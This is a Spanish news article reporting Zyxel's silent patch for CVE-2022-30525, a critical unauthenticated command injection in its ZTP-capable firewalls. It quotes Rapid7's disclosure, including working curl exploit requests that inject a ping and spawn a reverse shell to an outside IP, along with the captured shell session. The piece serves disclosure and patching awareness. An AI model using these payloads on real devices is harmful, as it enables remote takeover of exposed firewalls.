Zyxel corrige silenciosamente una vulnerabilidad de inyección de comandos con una gravedad de 9.8

Zyxel
El fabricante de hardware Zyxel ha lanzado silenciosamente una actualización que corrige una vulnerabilidad crítica que permite a los piratas informáticos controlar de forma remota decenas de miles de dispositivos de firewall.
La vulnerabilidad, que permite la inyección de comandos remotos sin necesidad de autenticación, tiene un nivel de gravedad de 9,8 sobre 10 posibles. Se explota fácilmente mediante el envío de solicitudes HTTP o HTTPS simples a los dispositivos afectados. Las solicitudes permiten a los piratas informáticos enviar comandos o abrir una interfaz de shell web que permite a los piratas informáticos mantener un acceso privilegiado a lo largo del tiempo.
Alta calidad, fácil de armar, no requiere autenticación
La vulnerabilidad afecta a una serie de cortafuegos que ofrecen una función conocida como aprovisionamiento sin contacto. Zyxel comercializa los dispositivos para su uso en sucursales pequeñas y sedes corporativas. Los dispositivos realizan conectividad VPN, inspección SSL, filtrado web, prevención de intrusiones y seguridad de correo electrónico, y brindan un rendimiento de hasta 5 Gbps a través del firewall. El servicio de localización de dispositivos de Shodan muestra que más de 16.000 dispositivos afectados están expuestos a Internet.

Los dispositivos afectados son:
Modelo afectado | Versión de firmware afectada |
---|---|
USG FLEX 100, 100 W, 200, 500, 700 | ZLD5.00 a ZLD5.21 Parche 1 |
VPN USG20, VPN USG20W | ZLD5.10 a ZLD5.21 Parche 1 |
ATP 100, 200, 500, 700, 800 | ZLD5.10 a ZLD5.21 Parche 1 |
La vulnerabilidad se rastrea como CVE-2022-30525. Rapid7, la firma de seguridad que lo detectó y lo informó en privado a Zyxel, dijo que la serie de dispositivos VPN también es compatible con ZTP, pero no son vulnerables ya que no incluyen otras funciones requeridas. En un aviso publicado el jueves, el investigador de Rapid7 Jake Baines escribió:
Los modelos afectados son vulnerables a la inyección de comandos remotos y no autenticados a través de la interfaz HTTP administrativa. Los comandos se ejecutan como
nobody
Usuario. Esta vulnerabilidad es aprovechada por el/ztp/cgi-bin/handler
URI y es el resultado de pasar la entrada sucia del atacante alos.system
método unolib_wan_settings.py
. La funcionalidad vulnerable se llama junto consetWanPortSt
Dominio. Un atacante puede inyectar cualquier comando en elmtu
o eldata
Parámetro.
A continuación se muestran ejemplos de (1) curl
esto hace que el cortafuegos ejecute un ping
from a la dirección IP 192.168.1.220, seguido de (2) salida de powershell de los resultados, (3) generación de un shell inverso y (4) cosas que un hacker puede hacer con el shell inverso:
-
-
curl -v --insecure -X POST -H "Content-Type: application/json" -d '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged" :"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}' https://192.168.1.1/ztp/cgi-bin/handler
-
nobody 11040 0.0 0.2 21040 5152 ? S Apr10 0:00 _ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL nobody 16052 56.4 0.6 18104 11224 ? S 06:16 0:02 | _ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py nobody 16055 0.0 0.0 3568 1492 ? S 06:16 0:00 | _ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN3 4 ; ping 192.168.1.220; 5 >/dev/null 2>&1 nobody 16057 0.0 0.0 2152 564 ? S 06:16 0:00 | _ ping 192.168.1.220
-
curl -v --insecure -X POST -H "Content-Type: application/json" -d ' {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged": "1","vlanid":"5","mtu":"; bash -c "exec bash -i &>/dev/tcp/ 192.168.1.220/1270 <&1;";","data":"hi"}' https://192.168.1.1 /ztp/cgi-bin/handler
-
albinolobster@ubuntu:~$ nc -lvnp 1270 Listening on 0.0.0.0 1270 Connection received on 192.168.1.1 37882 bash: cannot set terminal process group (11037): Inappropriate ioctl for device bash: no job control in this shell bash-5.1$ id id uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr) bash-5.1$ uname -a uname -a Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux Bash-5.1
-
Rapid7 ha desarrollado un módulo para el marco de explotación de Metasploit que automatiza el proceso de explotación.
Baines dijo que Rapid7 notificó a Zyxel sobre la vulnerabilidad el 13 de abril y que las dos partes acordaron proporcionar una divulgación coordinada que incluyera la solución el 21 de junio. El investigador continuó diciendo que, sin el conocimiento de Rapid7, el fabricante de hardware lanzó una actualización de firmware el 28 de abril que corrigió la vulnerabilidad silenciosamente. Zyxel solo recibió el número CVE el martes después de que Rapid7 preguntara sobre el parche silencioso y publicara un aviso el jueves.
Según AttackerKB, un recurso de vulnerabilidad, CVE-2022-30525 es de gran valor para los actores de amenazas porque es fácil de armar, no requiere autenticación y puede explotarse en la configuración predeterminada de dispositivos vulnerables. Los representantes de Rapid7 no estaban disponibles para responder preguntas básicas sobre la precisión de esta evaluación.
Los administradores deben aplicar el parche manualmente a menos que hayan cambiado la configuración predeterminada para permitir actualizaciones automáticas. Los primeros indicios son que el parche no está ampliamente implementado, ya que una consulta de Shodan para solo uno de los firewalls vulnerables, el ATP200, mostró que solo alrededor del 25 por ciento de los dispositivos expuestos estaban ejecutando el firmware más reciente.
Las vulnerabilidades que afectan a los firewalls pueden ser particularmente graves porque residen en el borde exterior de las redes donde fluye el tráfico entrante y saliente. Muchos cortafuegos también pueden leer datos antes de cifrarlos. Los administradores que supervisan las redes que utilizan estos dispositivos afectados deben priorizar la investigación de si están expuestos a esta vulnerabilidad y aplicar parches en consecuencia.